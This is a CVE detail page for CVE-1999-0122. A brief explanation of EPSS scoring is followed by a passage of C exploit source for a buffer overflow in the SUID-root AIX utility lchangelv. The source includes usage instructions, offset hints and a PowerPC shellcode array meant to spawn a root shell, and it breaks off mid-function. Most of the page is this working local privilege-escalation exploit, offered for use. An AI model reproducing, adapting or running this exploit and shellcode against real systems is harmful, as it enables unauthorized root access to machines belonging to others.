CVE-1999-0122 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* source: https://www.securityfocus.com/bid/389/info A buffer overflow can occur in lchangelv under some versions of AIX. Note that an attacker must already have the GID or EGID of 'system' to execute lchangelv. Because lchangelv is SUID root, this overflow will grant the attacker root privileges. */ /* * * /usr/sbin/lchangelv (kinda' coded) by BeastMaster V * * CREDITS: this is simply a modified version of an exploit * posted by Georgi Guninski ([email protected]) * * NOTES: you must have gid or egid of (system) to run this. * * USAGE: * $ cc -o foo -g aix_lchangelv.c * $ ./foo 5100 * # * * * HINT: Try giving ranges from 5090 through 5500 * * DISCLAIMER: use this program in a responsible manner. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> extern int execv(); #define MAXBUF 600 unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (!
